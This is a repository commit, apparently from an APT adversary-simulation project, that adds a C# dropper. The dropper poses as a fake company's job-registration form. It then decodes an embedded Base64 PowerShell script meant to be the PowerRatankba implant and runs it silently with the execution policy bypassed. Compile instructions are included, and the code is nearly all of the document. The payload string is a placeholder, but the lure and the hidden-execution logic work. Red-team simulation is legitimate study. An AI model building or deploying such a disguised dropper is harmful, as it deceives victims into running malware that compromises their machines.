mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,223 @@
|
|||||||
|
// This Stager is a graphical user interface (GUI) designed to look like a registration form for a fake company called "Global Processing Center, LTD." However, in reality, it contains malicious code that executes a hidden PowerShell script when run. The dropper downloads and executes PowerRatankba in the background by useing (Base64).
|
||||||
|
|
||||||
|
// sudo apt install mono-complete
|
||||||
|
// manual compile: mcs -platform:x64 -r:System.Windows.Forms -r:System.Drawing -out:Fake-Global-Processing-Center.exe Fake-Global-Processing-Center.cs
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace RedbancIntrusionForm
|
||||||
|
{
|
||||||
|
public partial class MainForm : Form
|
||||||
|
{
|
||||||
|
public MainForm()
|
||||||
|
{
|
||||||
|
InitializeComponent();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.SuspendLayout();
|
||||||
|
//
|
||||||
|
// MainForm
|
||||||
|
//
|
||||||
|
this.ClientSize = new System.Drawing.Size(400, 500);
|
||||||
|
this.Name = "MainForm";
|
||||||
|
this.Text = "Global Processing Center, LTD";
|
||||||
|
this.Load += new System.EventHandler(this.MainForm_Load);
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
|
||||||
|
// First Name
|
||||||
|
Label lblFirstName = new Label();
|
||||||
|
lblFirstName.Text = "First Name:";
|
||||||
|
lblFirstName.Location = new System.Drawing.Point(20, 20);
|
||||||
|
this.Controls.Add(lblFirstName);
|
||||||
|
|
||||||
|
TextBox txtFirstName = new TextBox();
|
||||||
|
txtFirstName.Location = new System.Drawing.Point(120, 20);
|
||||||
|
this.Controls.Add(txtFirstName);
|
||||||
|
|
||||||
|
// Last Name
|
||||||
|
Label lblLastName = new Label();
|
||||||
|
lblLastName.Text = "Last Name:";
|
||||||
|
lblLastName.Location = new System.Drawing.Point(20, 60);
|
||||||
|
this.Controls.Add(lblLastName);
|
||||||
|
|
||||||
|
TextBox txtLastName = new TextBox();
|
||||||
|
txtLastName.Location = new System.Drawing.Point(120, 60);
|
||||||
|
this.Controls.Add(txtLastName);
|
||||||
|
|
||||||
|
// Gender
|
||||||
|
Label lblGender = new Label();
|
||||||
|
lblGender.Text = "Gender:";
|
||||||
|
lblGender.Location = new System.Drawing.Point(20, 100);
|
||||||
|
this.Controls.Add(lblGender);
|
||||||
|
|
||||||
|
ComboBox cmbGender = new ComboBox();
|
||||||
|
cmbGender.Items.AddRange(new string[] { "Male", "Female" });
|
||||||
|
cmbGender.Location = new System.Drawing.Point(120, 100);
|
||||||
|
this.Controls.Add(cmbGender);
|
||||||
|
|
||||||
|
// Age
|
||||||
|
Label lblAge = new Label();
|
||||||
|
lblAge.Text = "Age:";
|
||||||
|
lblAge.Location = new System.Drawing.Point(20, 140);
|
||||||
|
this.Controls.Add(lblAge);
|
||||||
|
|
||||||
|
TextBox txtAge = new TextBox();
|
||||||
|
txtAge.Location = new System.Drawing.Point(120, 140);
|
||||||
|
this.Controls.Add(txtAge);
|
||||||
|
|
||||||
|
// Contact Mail
|
||||||
|
Label lblContactMail = new Label();
|
||||||
|
lblContactMail.Text = "Contact Mail:";
|
||||||
|
lblContactMail.Location = new System.Drawing.Point(20, 180);
|
||||||
|
this.Controls.Add(lblContactMail);
|
||||||
|
|
||||||
|
TextBox txtContactMail = new TextBox();
|
||||||
|
txtContactMail.Location = new System.Drawing.Point(120, 180);
|
||||||
|
this.Controls.Add(txtContactMail);
|
||||||
|
|
||||||
|
// Phone
|
||||||
|
Label lblPhone = new Label();
|
||||||
|
lblPhone.Text = "Phone:";
|
||||||
|
lblPhone.Location = new System.Drawing.Point(20, 220);
|
||||||
|
this.Controls.Add(lblPhone);
|
||||||
|
|
||||||
|
TextBox txtPhone = new TextBox();
|
||||||
|
txtPhone.Location = new System.Drawing.Point(120, 220);
|
||||||
|
this.Controls.Add(txtPhone);
|
||||||
|
|
||||||
|
// Salary
|
||||||
|
Label lblSalary = new Label();
|
||||||
|
lblSalary.Text = "Hourly Rate($):";
|
||||||
|
lblSalary.Location = new System.Drawing.Point(20, 260);
|
||||||
|
this.Controls.Add(lblSalary);
|
||||||
|
|
||||||
|
TextBox txtSalary = new TextBox();
|
||||||
|
txtSalary.Location = new System.Drawing.Point(120, 260);
|
||||||
|
this.Controls.Add(txtSalary);
|
||||||
|
|
||||||
|
// Hours per Week
|
||||||
|
Label lblHoursPerWeek = new Label();
|
||||||
|
lblHoursPerWeek.Text = "Hours per Week:";
|
||||||
|
lblHoursPerWeek.Location = new System.Drawing.Point(20, 300);
|
||||||
|
this.Controls.Add(lblHoursPerWeek);
|
||||||
|
|
||||||
|
TextBox txtHoursPerWeek = new TextBox();
|
||||||
|
txtHoursPerWeek.Location = new System.Drawing.Point(120, 300);
|
||||||
|
this.Controls.Add(txtHoursPerWeek);
|
||||||
|
|
||||||
|
// Duration
|
||||||
|
Label lblDuration = new Label();
|
||||||
|
lblDuration.Text = "Duration:";
|
||||||
|
lblDuration.Location = new System.Drawing.Point(20, 340);
|
||||||
|
this.Controls.Add(lblDuration);
|
||||||
|
|
||||||
|
DateTimePicker dtpFrom = new DateTimePicker();
|
||||||
|
dtpFrom.Location = new System.Drawing.Point(120, 340);
|
||||||
|
this.Controls.Add(dtpFrom);
|
||||||
|
|
||||||
|
Label lblTo = new Label();
|
||||||
|
lblTo.Text = "To";
|
||||||
|
lblTo.Location = new System.Drawing.Point(20, 380);
|
||||||
|
this.Controls.Add(lblTo);
|
||||||
|
|
||||||
|
DateTimePicker dtpTo = new DateTimePicker();
|
||||||
|
dtpTo.Location = new System.Drawing.Point(120, 380);
|
||||||
|
this.Controls.Add(dtpTo);
|
||||||
|
|
||||||
|
// Buttons
|
||||||
|
Button btnPrev = new Button();
|
||||||
|
btnPrev.Text = "Prev";
|
||||||
|
btnPrev.Location = new System.Drawing.Point(20, 420);
|
||||||
|
this.Controls.Add(btnPrev);
|
||||||
|
|
||||||
|
Button btnFinish = new Button();
|
||||||
|
btnFinish.Text = "Finish";
|
||||||
|
btnFinish.Location = new System.Drawing.Point(120, 420);
|
||||||
|
this.Controls.Add(btnFinish);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void MainForm_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
// Load event handler
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add the Main method here
|
||||||
|
static class Program
|
||||||
|
{
|
||||||
|
[STAThread]
|
||||||
|
static void Main()
|
||||||
|
{
|
||||||
|
Application.EnableVisualStyles();
|
||||||
|
Application.SetCompatibleTextRenderingDefault(false);
|
||||||
|
Application.Run(new MainForm());
|
||||||
|
|
||||||
|
// Execute the Base64 decoding and PowerShell script execution
|
||||||
|
ExecuteBase64Script();
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ExecuteBase64Script()
|
||||||
|
{
|
||||||
|
// Base64-encoded content of the PowerShell script
|
||||||
|
string base64Content = "Your base64 string for PowerRatankba.ps1 here";
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// Print first 50 characters for debugging
|
||||||
|
Console.WriteLine("Base64 Preview: " + base64Content.Substring(0, Math.Min(50, base64Content.Length)) + "...");
|
||||||
|
|
||||||
|
// Remove any non-Base64 characters (excluding valid padding '=')
|
||||||
|
base64Content = Regex.Replace(base64Content, "[^A-Za-z0-9+/=]", "");
|
||||||
|
|
||||||
|
// Ensure proper Base64 padding
|
||||||
|
while (base64Content.Length % 4 != 0)
|
||||||
|
{
|
||||||
|
base64Content += "=";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Convert Base64 string to byte array
|
||||||
|
byte[] fileBytes = Convert.FromBase64String(base64Content);
|
||||||
|
string fileName = "PowerRatankba.ps1";
|
||||||
|
|
||||||
|
// Save the byte array to a file
|
||||||
|
File.WriteAllBytes(fileName, fileBytes);
|
||||||
|
Console.WriteLine($"Script '{fileName}' downloaded successfully.");
|
||||||
|
|
||||||
|
// Execute the PowerShell script
|
||||||
|
Process process = new Process();
|
||||||
|
process.StartInfo.FileName = "powershell.exe";
|
||||||
|
process.StartInfo.Arguments = $"-ExecutionPolicy Bypass -File \"{fileName}\"";
|
||||||
|
process.StartInfo.UseShellExecute = false;
|
||||||
|
process.StartInfo.RedirectStandardOutput = true;
|
||||||
|
process.StartInfo.RedirectStandardError = true;
|
||||||
|
process.StartInfo.CreateNoWindow = true;
|
||||||
|
|
||||||
|
process.Start();
|
||||||
|
string output = process.StandardOutput.ReadToEnd();
|
||||||
|
string error = process.StandardError.ReadToEnd();
|
||||||
|
process.WaitForExit();
|
||||||
|
|
||||||
|
Console.WriteLine("Output: " + output);
|
||||||
|
if (!string.IsNullOrEmpty(error))
|
||||||
|
{
|
||||||
|
Console.WriteLine("Error: " + error);
|
||||||
|
}
|
||||||
|
Console.WriteLine($"Process exited with code: {process.ExitCode}");
|
||||||
|
}
|
||||||
|
catch (FormatException ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine("Invalid Base64 format: " + ex.Message);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine("An error occurred: " + ex.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user